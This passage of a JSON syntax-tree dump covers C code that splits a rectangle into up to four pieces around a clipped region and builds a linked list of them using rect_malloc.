"children": [], "start_point": {"row": 76, "column": 8}, "end_point": {"row": 76, "column": 12}}, {"id": 239, "type": "number_literal", "text": "0", "parent": 237, "children": [], "start_point": {"row": 76, "column": 13}, "end_point": {"row": 76, "column": 14}}, {"id": 240, "type": "field_identifier", "text": "ulx", "parent": 236, "children": [], "start_point": {"row": 76, "column": 16}, "end_point": {"row": 76, "column": 19}}, {"id": 241, "type": "=", "text": "=", "parent": 235, "children": [], "start_point": {"row": 76, "column": 20}, "end_point": {"row": 76, "column": 21}}, {"id": 242, "type": "field_expression", "text": "b->ulx", "parent": 235, "children": [243, 244], "start_point": {"row": 76, "column": 22}, "end_point": {"row": 76, "column": 28}}, {"id": 243, "type": "identifier", "text": "b", "parent": 242, "children": [], "start_point": {"row": 76, "column": 22}, "end_point": {"row": 76, "column": 23}}, {"id": 244, "type": "field_identifier", "text": "ulx", "parent": 242, "children": [], "start_point": {"row": 76, "column": 25}, "end_point": {"row": 76, "column": 28}}, {"id": 245, "type": "assignment_expression", "text": "rect[0].uly = b->uly", "parent": 234, "children": [246, 251, 252], "start_point": {"row": 77, "column": 8}, "end_point": {"row": 77, "column": 28}}, {"id": 246, "type": "field_expression", "text": "rect[0].uly", "parent": 245, "children": [247, 250], "start_point": {"row": 77, "column": 8}, "end_point": {"row": 77, "column": 19}}, {"id": 247, "type": "subscript_expression", "text": "rect[0]", "parent": 246, "children": [248, 249], "start_point": {"row": 77, "column": 8}, "end_point": {"row": 77, "column": 15}}, {"id": 248, "type": "identifier", "text": "rect", "parent": 247, "children": [], "start_point": {"row": 77, "column": 8}, "end_point": {"row": 77, "column": 12}}, {"id": 249, "type": "number_literal", "text": "0", "parent": 247, "children": [], "start_point": {"row": 77, "column": 13}, "end_point": {"row": 77, "column": 14}}, {"id": 250, "type": "field_identifier", "text": "uly", "parent": 246, "children": [], "start_point": {"row": 77, "column": 16}, "end_point": {"row": 77, "column": 19}}, {"id": 251, "type": "=", "text": "=", "parent": 245, "children": [], "start_point": {"row": 77, "column": 20}, "end_point": {"row": 77, "column": 21}}, {"id": 252, "type": "field_expression", "text": "b->uly", "parent": 245, "children": [253, 254], "start_point": {"row": 77, "column": 22}, "end_point": {"row": 77, "column": 28}}, {"id": 253, "type": "identifier", "text": "b", "parent": 252, "children": [], "start_point": {"row": 77, "column": 22}, "end_point": {"row": 77, "column": 23}}, {"id": 254, "type": "field_identifier", "text": "uly", "parent": 252, "children": [], "start_point": {"row": 77, "column": 25}, "end_point": {"row": 77, "column": 28}}, {"id": 255, "type": "assignment_expression", "text": "rect[0].lrx = b->lrx", "parent": 234, "children": [256, 261, 262], "start_point": {"row": 78, "column": 8}, "end_point": {"row": 78, "column": 28}}, {"id": 256, "type": "field_expression", "text": "rect[0].lrx", "parent": 255, "children": [257, 260], "start_point": {"row": 78, "column": 8}, "end_point": {"row": 78, "column": 19}}, {"id": 257, "type": "subscript_expression", "text": "rect[0]", "parent": 256, "children": [258, 259], "start_point": {"row": 78, "column": 8}, "end_point": {"row": 78, "column": 15}}, {"id": 258, "type": "identifier", "text": "rect", "parent": 257, "children": [], "start_point": {"row": 78, "column": 8}, "end_point": {"row": 78, "column": 12}}, {"id": 259, "type": "number_literal", "text": "0", "parent": 257, "children": [], "start_point": {"row": 78, "column": 13}, "end_point": {"row": 78, "column": 14}}, {"id": 260, "type": "field_identifier", "text": "lrx", "parent": 256, "children": [], "start_point": {"row": 78, "column": 16}, "end_point": {"row": 78, "column": 19}}, {"id": 261, "type": "=", "text": "=", "parent": 255, "children": [], "start_point": {"row": 78, "column": 20}, "end_point": {"row": 78, "column": 21}}, {"id": 262, "type": "field_expression", "text": "b->lrx", "parent": 255, "children": [263, 264], "start_point": {"row": 78, "column": 22}, "end_point": {"row": 78, "column": 28}}, {"id": 263, "type": "identifier", "text": "b", "parent": 262, "children": [], "start_point": {"row": 78, "column": 22}, "end_point": {"row": 78, "column": 23}}, {"id": 264, "type": "field_identifier", "text": "lrx", "parent": 262, "children": [], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 28}}, {"id": 265, "type": "assignment_expression", "text": "rect[0].lry = clipped.uly - 1", "parent": 234, "children": [266, 271, 272], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 37}}, {"id": 266, "type": "field_expression", "text": "rect[0].lry", "parent": 265, "children": [267, 270], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 19}}, {"id": 267, "type": "subscript_expression", "text": "rect[0]", "parent": 266, "children": [268, 269], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 15}}, {"id": 268, "type": "identifier", "text": "rect", "parent": 267, "children": [], "start_point": {"row": 79, "column": 8}, "end_point": {"row": 79, "column": 12}}, {"id": 269, "type": "number_literal", "text": "0", "parent": 267, "children": [], "start_point": {"row": 79, "column": 13}, "end_point": {"row": 79, "column": 14}}, {"id": 270, "type": "field_identifier", "text": "lry", "parent": 266, "children": [], "start_point": {"row": 79, "column": 16}, "end_point": {"row": 79, "column": 19}}, {"id": 271, "type": "=", "text": "=", "parent": 265, "children": [], "start_point": {"row": 79, "column": 20}, "end_point": {"row": 79, "column": 21}}, {"id": 272, "type": "binary_expression", "text": "clipped.uly - 1", "parent": 265, "children": [273, 276, 277], "start_point": {"row": 79, "column": 22}, "end_point": {"row": 79, "column": 37}}, {"id": 273, "type": "field_expression", "text": "clipped.uly", "parent": 272, "children": [274, 275], "start_point": {"row": 79, "column": 22}, "end_point": {"row": 79, "column": 33}}, {"id": 274, "type": "identifier", "text": "clipped", "parent": 273, "children": [], "start_point": {"row": 79, "column": 22}, "end_point": {"row": 79, "column": 29}}, {"id": 275, "type": "field_identifier", "text": "uly", "parent": 273, "children": [], "start_point": {"row": 79, "column": 30}, "end_point": {"row": 79, "column": 33}}, {"id": 276, "type": "-", "text": "-", "parent": 272, "children": [], "start_point": {"row": 79, "column": 34}, "end_point": {"row": 79, "column": 35}}, {"id": 277, "type": "number_literal", "text": "1", "parent": 272, "children": [], "start_point": {"row": 79, "column": 36}, "end_point": {"row": 79, "column": 37}}, {"id": 278, "type": "assignment_expression", "text": "rect[1].ulx = b->ulx", "parent": 234, "children": [279, 284, 285], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 28}}, {"id": 279, "type": "field_expression", "text": "rect[1].ulx", "parent": 278, "children": [280, 283], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 19}}, {"id": 280, "type": "subscript_expression", "text": "rect[1]", "parent": 279, "children": [281, 282], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 15}}, {"id": 281, "type": "identifier", "text": "rect", "parent": 280, "children": [], "start_point": {"row": 81, "column": 8}, "end_point": {"row": 81, "column": 12}}, {"id": 282, "type": "number_literal", "text": "1", "parent": 280, "children": [], "start_point": {"row": 81, "column": 13}, "end_point": {"row": 81, "column": 14}}, {"id": 283, "type": "field_identifier", "text": "ulx", "parent": 279, "children": [], "start_point": {"row": 81, "column": 16}, "end_point": {"row": 81, "column": 19}}, {"id": 284, "type": "=", "text": "=", "parent": 278, "children": [], "start_point": {"row": 81, "column": 20}, "end_point": {"row": 81, "column": 21}}, {"id": 285, "type": "field_expression", "text": "b->ulx", "parent": 278, "children": [286, 287], "start_point": {"row": 81, "column": 22}, "end_point": {"row": 81, "column": 28}}, {"id": 286, "type": "identifier", "text": "b", "parent": 285, "children": [], "start_point": {"row": 81, "column": 22}, "end_point": {"row": 81, "column": 23}}, {"id": 287, "type": "field_identifier", "text": "ulx", "parent": 285, "children": [], "start_point": {"row": 81, "column": 25}, "end_point": {"row": 81, "column": 28}}, {"id": 288, "type": "assignment_expression", "text": "rect[1].uly = clipped.uly", "parent": 234, "children": [289, 294, 295], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 33}}, {"id": 289, "type": "field_expression", "text": "rect[1].uly", "parent": 288, "children": [290, 293], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 19}}, {"id": 290, "type": "subscript_expression", "text": "rect[1]", "parent": 289, "children": [291, 292], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 15}}, {"id": 291, "type": "identifier", "text": "rect", "parent": 290, "children": [], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 12}}, {"id": 292, "type": "number_literal", "text": "1", "parent": 290, "children": [], "start_point": {"row": 82, "column": 13}, "end_point": {"row": 82, "column": 14}}, {"id": 293, "type": "field_identifier", "text": "uly", "parent": 289, "children": [], "start_point": {"row": 82, "column": 16}, "end_point": {"row": 82, "column": 19}}, {"id": 294, "type": "=", "text": "=", "parent": 288, "children": [], "start_point": {"row": 82, "column": 20}, "end_point": {"row": 82, "column": 21}}, {"id": 295, "type": "field_expression", "text": "clipped.uly", "parent": 288, "children": [296, 297], "start_point": {"row": 82, "column": 22}, "end_point": {"row": 82, "column": 33}}, {"id": 296, "type": "identifier", "text": "clipped", "parent": 295, "children": [], "start_point": {"row": 82, "column": 22}, "end_point": {"row": 82, "column": 29}}, {"id": 297, "type": "field_identifier", "text": "uly", "parent": 295, "children": [], "start_point": {"row": 82, "column": 30}, "end_point": {"row": 82, "column": 33}}, {"id": 298, "type": "assignment_expression", "text": "rect[1].lrx = clipped.ulx - 1", "parent": 234, "children": [299, 304, 305], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 37}}, {"id": 299, "type": "field_expression", "text": "rect[1].lrx", "parent": 298, "children": [300, 303], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 19}}, {"id": 300, "type": "subscript_expression", "text": "rect[1]", "parent": 299, "children": [301, 302], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 15}}, {"id": 301, "type": "identifier", "text": "rect", "parent": 300, "children": [], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 12}}, {"id": 302, "type": "number_literal", "text": "1", "parent": 300, "children": [], "start_point": {"row": 83, "column": 13}, "end_point": {"row": 83, "column": 14}}, {"id": 303, "type": "field_identifier", "text": "lrx", "parent": 299, "children": [], "start_point": {"row": 83, "column": 16}, "end_point": {"row": 83, "column": 19}}, {"id": 304, "type": "=", "text": "=", "parent": 298, "children": [], "start_point": {"row": 83, "column": 20}, "end_point": {"row": 83, "column": 21}}, {"id": 305, "type": "binary_expression", "text": "clipped.ulx - 1", "parent": 298, "children": [306, 309, 310], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 37}}, {"id": 306, "type": "field_expression", "text": "clipped.ulx", "parent": 305, "children": [307, 308], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 33}}, {"id": 307, "type": "identifier", "text": "clipped", "parent": 306, "children": [], "start_point": {"row": 83, "column": 22}, "end_point": {"row": 83, "column": 29}}, {"id": 308, "type": "field_identifier", "text": "ulx", "parent": 306, "children": [], "start_point": {"row": 83, "column": 30}, "end_point": {"row": 83, "column": 33}}, {"id": 309, "type": "-", "text": "-", "parent": 305, "children": [], "start_point": {"row": 83, "column": 34}, "end_point": {"row": 83, "column": 35}}, {"id": 310, "type": "number_literal", "text": "1", "parent": 305, "children": [], "start_point": {"row": 83, "column": 36}, "end_point": {"row": 83, "column": 37}}, {"id": 311, "type": "assignment_expression", "text": "rect[1].lry = clipped.lry", "parent": 234, "children": [312, 317, 318], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 33}}, {"id": 312, "type": "field_expression", "text": "rect[1].lry", "parent": 311, "children": [313, 316], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 19}}, {"id": 313, "type": "subscript_expression", "text": "rect[1]", "parent": 312, "children": [314, 315], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 15}}, {"id": 314, "type": "identifier", "text": "rect", "parent": 313, "children": [], "start_point": {"row": 84, "column": 8}, "end_point": {"row": 84, "column": 12}}, {"id": 315, "type": "number_literal", "text": "1", "parent": 313, "children": [], "start_point": {"row": 84, "column": 13}, "end_point": {"row": 84, "column": 14}}, {"id": 316, "type": "field_identifier", "text": "lry", "parent": 312, "children": [], "start_point": {"row": 84, "column": 16}, "end_point": {"row": 84, "column": 19}}, {"id": 317, "type": "=", "text": "=", "parent": 311, "children": [], "start_point": {"row": 84, "column": 20}, "end_point": {"row": 84, "column": 21}}, {"id": 318, "type": "field_expression", "text": "clipped.lry", "parent": 311, "children": [319, 320], "start_point": {"row": 84, "column": 22}, "end_point": {"row": 84, "column": 33}}, {"id": 319, "type": "identifier", "text": "clipped", "parent": 318, "children": [], "start_point": {"row": 84, "column": 22}, "end_point": {"row": 84, "column": 29}}, {"id": 320, "type": "field_identifier", "text": "lry", "parent": 318, "children": [], "start_point": {"row": 84, "column": 30}, "end_point": {"row": 84, "column": 33}}, {"id": 321, "type": "assignment_expression", "text": "rect[2].ulx = clipped.lrx + 1", "parent": 234, "children": [322, 327, 328], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 37}}, {"id": 322, "type": "field_expression", "text": "rect[2].ulx", "parent": 321, "children": [323, 326], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 19}}, {"id": 323, "type": "subscript_expression", "text": "rect[2]", "parent": 322, "children": [324, 325], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 15}}, {"id": 324, "type": "identifier", "text": "rect", "parent": 323, "children": [], "start_point": {"row": 86, "column": 8}, "end_point": {"row": 86, "column": 12}}, {"id": 325, "type": "number_literal", "text": "2", "parent": 323, "children": [], "start_point": {"row": 86, "column": 13}, "end_point": {"row": 86, "column": 14}}, {"id": 326, "type": "field_identifier", "text": "ulx", "parent": 322, "children": [], "start_point": {"row": 86, "column": 16}, "end_point": {"row": 86, "column": 19}}, {"id": 327, "type": "=", "text": "=", "parent": 321, "children": [], "start_point": {"row": 86, "column": 20}, "end_point": {"row": 86, "column": 21}}, {"id": 328, "type": "binary_expression", "text": "clipped.lrx + 1", "parent": 321, "children": [329, 332, 333], "start_point": {"row": 86, "column": 22}, "end_point": {"row": 86, "column": 37}}, {"id": 329, "type": "field_expression", "text": "clipped.lrx", "parent": 328, "children": [330, 331], "start_point": {"row": 86, "column": 22}, "end_point": {"row": 86, "column": 33}}, {"id": 330, "type": "identifier", "text": "clipped", "parent": 329, "children": [], "start_point": {"row": 86, "column": 22}, "end_point": {"row": 86, "column": 29}}, {"id": 331, "type": "field_identifier", "text": "lrx", "parent": 329, "children": [], "start_point": {"row": 86, "column": 30}, "end_point": {"row": 86, "column": 33}}, {"id": 332, "type": "+", "text": "+", "parent": 328, "children": [], "start_point": {"row": 86, "column": 34}, "end_point": {"row": 86, "column": 35}}, {"id": 333, "type": "number_literal", "text": "1", "parent": 328, "children": [], "start_point": {"row": 86, "column": 36}, "end_point": {"row": 86, "column": 37}}, {"id": 334, "type": "assignment_expression", "text": "rect[2].uly = clipped.uly", "parent": 234, "children": [335, 340, 341], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 33}}, {"id": 335, "type": "field_expression", "text": "rect[2].uly", "parent": 334, "children": [336, 339], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 19}}, {"id": 336, "type": "subscript_expression", "text": "rect[2]", "parent": 335, "children": [337, 338], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 15}}, {"id": 337, "type": "identifier", "text": "rect", "parent": 336, "children": [], "start_point": {"row": 87, "column": 8}, "end_point": {"row": 87, "column": 12}}, {"id": 338, "type": "number_literal", "text": "2", "parent": 336, "children": [], "start_point": {"row": 87, "column": 13}, "end_point": {"row": 87, "column": 14}}, {"id": 339, "type": "field_identifier", "text": "uly", "parent": 335, "children": [], "start_point": {"row": 87, "column": 16}, "end_point": {"row": 87, "column": 19}}, {"id": 340, "type": "=", "text": "=", "parent": 334, "children": [], "start_point": {"row": 87, "column": 20}, "end_point": {"row": 87, "column": 21}}, {"id": 341, "type": "field_expression", "text": "clipped.uly", "parent": 334, "children": [342, 343], "start_point": {"row": 87, "column": 22}, "end_point": {"row": 87, "column": 33}}, {"id": 342, "type": "identifier", "text": "clipped", "parent": 341, "children": [], "start_point": {"row": 87, "column": 22}, "end_point": {"row": 87, "column": 29}}, {"id": 343, "type": "field_identifier", "text": "uly", "parent": 341, "children": [], "start_point": {"row": 87, "column": 30}, "end_point": {"row": 87, "column": 33}}, {"id": 344, "type": "assignment_expression", "text": "rect[2].lrx = b->lrx", "parent": 234, "children": [345, 350, 351], "start_point": {"row": 88, "column": 8}, "end_point": {"row": 88, "column": 28}}, {"id": 345, "type": "field_expression", "text": "rect[2].lrx", "parent": 344, "children": [346, 349], "start_point": {"row": 88, "column": 8}, "end_point": {"row": 88, "column": 19}}, {"id": 346, "type": "subscript_expression", "text": "rect[2]", "parent": 345, "children": [347, 348], "start_point": {"row": 88, "column": 8}, "end_point": {"row": 88, "column": 15}}, {"id": 347, "type": "identifier", "text": "rect", "parent": 346, "children": [], "start_point": {"row": 88, "column": 8}, "end_point": {"row": 88, "column": 12}}, {"id": 348, "type": "number_literal", "text": "2", "parent": 346, "children": [], "start_point": {"row": 88, "column": 13}, "end_point": {"row": 88, "column": 14}}, {"id": 349, "type": "field_identifier", "text": "lrx", "parent": 345, "children": [], "start_point": {"row": 88, "column": 16}, "end_point": {"row": 88, "column": 19}}, {"id": 350, "type": "=", "text": "=", "parent": 344, "children": [], "start_point": {"row": 88, "column": 20}, "end_point": {"row": 88, "column": 21}}, {"id": 351, "type": "field_expression", "text": "b->lrx", "parent": 344, "children": [352, 353], "start_point": {"row": 88, "column": 22}, "end_point": {"row": 88, "column": 28}}, {"id": 352, "type": "identifier", "text": "b", "parent": 351, "children": [], "start_point": {"row": 88, "column": 22}, "end_point": {"row": 88, "column": 23}}, {"id": 353, "type": "field_identifier", "text": "lrx", "parent": 351, "children": [], "start_point": {"row": 88, "column": 25}, "end_point": {"row": 88, "column": 28}}, {"id": 354, "type": "assignment_expression", "text": "rect[2].lry = clipped.lry", "parent": 234, "children": [355, 360, 361], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 33}}, {"id": 355, "type": "field_expression", "text": "rect[2].lry", "parent": 354, "children": [356, 359], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 19}}, {"id": 356, "type": "subscript_expression", "text": "rect[2]", "parent": 355, "children": [357, 358], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 15}}, {"id": 357, "type": "identifier", "text": "rect", "parent": 356, "children": [], "start_point": {"row": 89, "column": 8}, "end_point": {"row": 89, "column": 12}}, {"id": 358, "type": "number_literal", "text": "2", "parent": 356, "children": [], "start_point": {"row": 89, "column": 13}, "end_point": {"row": 89, "column": 14}}, {"id": 359, "type": "field_identifier", "text": "lry", "parent": 355, "children": [], "start_point": {"row": 89, "column": 16}, "end_point": {"row": 89, "column": 19}}, {"id": 360, "type": "=", "text": "=", "parent": 354, "children": [], "start_point": {"row": 89, "column": 20}, "end_point": {"row": 89, "column": 21}}, {"id": 361, "type": "field_expression", "text": "clipped.lry", "parent": 354, "children": [362, 363], "start_point": {"row": 89, "column": 22}, "end_point": {"row": 89, "column": 33}}, {"id": 362, "type": "identifier", "text": "clipped", "parent": 361, "children": [], "start_point": {"row": 89, "column": 22}, "end_point": {"row": 89, "column": 29}}, {"id": 363, "type": "field_identifier", "text": "lry", "parent": 361, "children": [], "start_point": {"row": 89, "column": 30}, "end_point": {"row": 89, "column": 33}}, {"id": 364, "type": "assignment_expression", "text": "rect[3].ulx = b->ulx", "parent": 234, "children": [365, 370, 371], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 28}}, {"id": 365, "type": "field_expression", "text": "rect[3].ulx", "parent": 364, "children": [366, 369], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 19}}, {"id": 366, "type": "subscript_expression", "text": "rect[3]", "parent": 365, "children": [367, 368], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 15}}, {"id": 367, "type": "identifier", "text": "rect", "parent": 366, "children": [], "start_point": {"row": 91, "column": 8}, "end_point": {"row": 91, "column": 12}}, {"id": 368, "type": "number_literal", "text": "3", "parent": 366, "children": [], "start_point": {"row": 91, "column": 13}, "end_point": {"row": 91, "column": 14}}, {"id": 369, "type": "field_identifier", "text": "ulx", "parent": 365, "children": [], "start_point": {"row": 91, "column": 16}, "end_point": {"row": 91, "column": 19}}, {"id": 370, "type": "=", "text": "=", "parent": 364, "children": [], "start_point": {"row": 91, "column": 20}, "end_point": {"row": 91, "column": 21}}, {"id": 371, "type": "field_expression", "text": "b->ulx", "parent": 364, "children": [372, 373], "start_point": {"row": 91, "column": 22}, "end_point": {"row": 91, "column": 28}}, {"id": 372, "type": "identifier", "text": "b", "parent": 371, "children": [], "start_point": {"row": 91, "column": 22}, "end_point": {"row": 91, "column": 23}}, {"id": 373, "type": "field_identifier", "text": "ulx", "parent": 371, "children": [], "start_point": {"row": 91, "column": 25}, "end_point": {"row": 91, "column": 28}}, {"id": 374, "type": "assignment_expression", "text": "rect[3].uly = clipped.lry + 1", "parent": 234, "children": [375, 380, 381], "start_point": {"row": 92, "column": 8}, "end_point": {"row": 92, "column": 37}}, {"id": 375, "type": "field_expression", "text": "rect[3].uly", "parent": 374, "children": [376, 379], "start_point": {"row": 92, "column": 8}, "end_point": {"row": 92, "column": 19}}, {"id": 376, "type": "subscript_expression", "text": "rect[3]", "parent": 375, "children": [377, 378], "start_point": {"row": 92, "column": 8}, "end_point": {"row": 92, "column": 15}}, {"id": 377, "type": "identifier", "text": "rect", "parent": 376, "children": [], "start_point": {"row": 92, "column": 8}, "end_point": {"row": 92, "column": 12}}, {"id": 378, "type": "number_literal", "text": "3", "parent": 376, "children": [], "start_point": {"row": 92, "column": 13}, "end_point": {"row": 92, "column": 14}}, {"id": 379, "type": "field_identifier", "text": "uly", "parent": 375, "children": [], "start_point": {"row": 92, "column": 16}, "end_point": {"row": 92, "column": 19}}, {"id": 380, "type": "=", "text": "=", "parent": 374, "children": [], "start_point": {"row": 92, "column": 20}, "end_point": {"row": 92, "column": 21}}, {"id": 381, "type": "binary_expression", "text": "clipped.lry + 1", "parent": 374, "children": [382, 385, 386], "start_point": {"row": 92, "column": 22}, "end_point": {"row": 92, "column": 37}}, {"id": 382, "type": "field_expression", "text": "clipped.lry", "parent": 381, "children": [383, 384], "start_point": {"row": 92, "column": 22}, "end_point": {"row": 92, "column": 33}}, {"id": 383, "type": "identifier", "text": "clipped", "parent": 382, "children": [], "start_point": {"row": 92, "column": 22}, "end_point": {"row": 92, "column": 29}}, {"id": 384, "type": "field_identifier", "text": "lry", "parent": 382, "children": [], "start_point": {"row": 92, "column": 30}, "end_point": {"row": 92, "column": 33}}, {"id": 385, "type": "+", "text": "+", "parent": 381, "children": [], "start_point": {"row": 92, "column": 34}, "end_point": {"row": 92, "column": 35}}, {"id": 386, "type": "number_literal", "text": "1", "parent": 381, "children": [], "start_point": {"row": 92, "column": 36}, "end_point": {"row": 92, "column": 37}}, {"id": 387, "type": "assignment_expression", "text": "rect[3].lrx = b->lrx", "parent": 234, "children": [388, 393, 394], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 28}}, {"id": 388, "type": "field_expression", "text": "rect[3].lrx", "parent": 387, "children": [389, 392], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 19}}, {"id": 389, "type": "subscript_expression", "text": "rect[3]", "parent": 388, "children": [390, 391], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 15}}, {"id": 390, "type": "identifier", "text": "rect", "parent": 389, "children": [], "start_point": {"row": 93, "column": 8}, "end_point": {"row": 93, "column": 12}}, {"id": 391, "type": "number_literal", "text": "3", "parent": 389, "children": [], "start_point": {"row": 93, "column": 13}, "end_point": {"row": 93, "column": 14}}, {"id": 392, "type": "field_identifier", "text": "lrx", "parent": 388, "children": [], "start_point": {"row": 93, "column": 16}, "end_point": {"row": 93, "column": 19}}, {"id": 393, "type": "=", "text": "=", "parent": 387, "children": [], "start_point": {"row": 93, "column": 20}, "end_point": {"row": 93, "column": 21}}, {"id": 394, "type": "field_expression", "text": "b->lrx", "parent": 387, "children": [395, 396], "start_point": {"row": 93, "column": 22}, "end_point": {"row": 93, "column": 28}}, {"id": 395, "type": "identifier", "text": "b", "parent": 394, "children": [], "start_point": {"row": 93, "column": 22}, "end_point": {"row": 93, "column": 23}}, {"id": 396, "type": "field_identifier", "text": "lrx", "parent": 394, "children": [], "start_point": {"row": 93, "column": 25}, "end_point": {"row": 93, "column": 28}}, {"id": 397, "type": "assignment_expression", "text": "rect[3].lry = b->lry", "parent": 234, "children": [398, 403, 404], "start_point": {"row": 94, "column": 8}, "end_point": {"row": 94, "column": 28}}, {"id": 398, "type": "field_expression", "text": "rect[3].lry", "parent": 397, "children": [399, 402], "start_point": {"row": 94, "column": 8}, "end_point": {"row": 94, "column": 19}}, {"id": 399, "type": "subscript_expression", "text": "rect[3]", "parent": 398, "children": [400, 401], "start_point": {"row": 94, "column": 8}, "end_point": {"row": 94, "column": 15}}, {"id": 400, "type": "identifier", "text": "rect", "parent": 399, "children": [], "start_point": {"row": 94, "column": 8}, "end_point": {"row": 94, "column": 12}}, {"id": 401, "type": "number_literal", "text": "3", "parent": 399, "children": [], "start_point": {"row": 94, "column": 13}, "end_point": {"row": 94, "column": 14}}, {"id": 402, "type": "field_identifier", "text": "lry", "parent": 398, "children": [], "start_point": {"row": 94, "column": 16}, "end_point": {"row": 94, "column": 19}}, {"id": 403, "type": "=", "text": "=", "parent": 397, "children": [], "start_point": {"row": 94, "column": 20}, "end_point": {"row": 94, "column": 21}}, {"id": 404, "type": "field_expression", "text": "b->lry", "parent": 397, "children": [405, 406], "start_point": {"row": 94, "column": 22}, "end_point": {"row": 94, "column": 28}}, {"id": 405, "type": "identifier", "text": "b", "parent": 404, "children": [], "start_point": {"row": 94, "column": 22}, "end_point": {"row": 94, "column": 23}}, {"id": 406, "type": "field_identifier", "text": "lry", "parent": 404, "children": [], "start_point": {"row": 94, "column": 25}, "end_point": {"row": 94, "column": 28}}, {"id": 407, "type": "declaration", "text": "RectPtr *rect_ptr;", "parent": 234, "children": [408, 409], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 30}}, {"id": 408, "type": "type_identifier", "text": "RectPtr", "parent": 407, "children": [], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 19}}, {"id": 409, "type": "pointer_declarator", "text": "*rect_ptr", "parent": 407, "children": [410, 411], "start_point": {"row": 97, "column": 20}, "end_point": {"row": 97, "column": 29}}, {"id": 410, "type": "*", "text": "*", "parent": 409, "children": [], "start_point": {"row": 97, "column": 20}, "end_point": {"row": 97, "column": 21}}, {"id": 411, "type": "identifier", "text": "rect_ptr", "parent": 409, "children": [], "start_point": {"row": 97, "column": 21}, "end_point": {"row": 97, "column": 29}}, {"id": 412, "type": "assignment_expression", "text": "rect_ptr = &ptr", "parent": 234, "children": [413, 414, 415], "start_point": {"row": 98, "column": 12}, "end_point": {"row": 98, "column": 27}}, {"id": 413, "type": "identifier", "text": "rect_ptr", "parent": 412, "children": [], "start_point": {"row": 98, "column": 12}, "end_point": {"row": 98, "column": 20}}, {"id": 414, "type": "=", "text": "=", "parent": 412, "children": [], "start_point": {"row": 98, "column": 21}, "end_point": {"row": 98, "column": 22}}, {"id": 415, "type": "pointer_expression", "text": "&ptr", "parent": 412, "children": [416], "start_point": {"row": 98, "column": 23}, "end_point": {"row": 98, "column": 27}}, {"id": 416, "type": "identifier", "text": "ptr", "parent": 415, "children": [], "start_point": {"row": 98, "column": 24}, "end_point": {"row": 98, "column": 27}}, {"id": 417, "type": "declaration", "text": "int i = 0;", "parent": 234, "children": [418, 419], "start_point": {"row": 99, "column": 12}, "end_point": {"row": 99, "column": 22}}, {"id": 418, "type": "primitive_type", "text": "int", "parent": 417, "children": [], "start_point": {"row": 99, "column": 12}, "end_point": {"row": 99, "column": 15}}, {"id": 419, "type": "init_declarator", "text": "i = 0", "parent": 417, "children": [420, 421, 422], "start_point": {"row": 99, "column": 16}, "end_point": {"row": 99, "column": 21}}, {"id": 420, "type": "identifier", "text": "i", "parent": 419, "children": [], "start_point": {"row": 99, "column": 16}, "end_point": {"row": 99, "column": 17}}, {"id": 421, "type": "=", "text": "=", "parent": 419, "children": [], "start_point": {"row": 99, "column": 18}, "end_point": {"row": 99, "column": 19}}, {"id": 422, "type": "number_literal", "text": "0", "parent": 419, "children": [], "start_point": {"row": 99, "column": 20}, "end_point": {"row": 99, "column": 21}}, {"id": 423, "type": "do_statement", "text": "do {\r\n if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) {\r\n *rect_ptr = rect_malloc();\r\n if (*rect_ptr == NULL) {\r\n return NULL;\r\n }\r\n\r\n (*rect_ptr)->r.ulx = rect[i].ulx;\r\n (*rect_ptr)->r.uly = rect[i].uly;\r\n (*rect_ptr)->r.lrx = rect[i].lrx;\r\n (*rect_ptr)->r.lry = rect[i].lry;\r\n\r\n (*rect_ptr)->next = NULL;\r\n rect_ptr = &(*rect_ptr)->next;\r\n }\r\n ++i;\r\n } while (i < 4);", "parent": 234, "children": [555], "start_point": {"row": 101, "column": 12}, "end_point": {"row": 117, "column": 28}}, {"id": 424, "type": "if_statement", "text": "if (rect[i].ulx <= rect[i].lrx && rect[i].uly <= rect[i].lry) {\r\n *rect_ptr = rect_malloc();\r\n if (*rect_ptr == NULL) {\r\n return NULL;\r\n }\r\n\r\n (*rect_ptr)->r.ulx = rect[i].ulx;\r\n (*rect_ptr)->r.uly = rect[i].uly;\r\n (*rect_ptr)->r.lrx = rect[i].lrx;\r\n 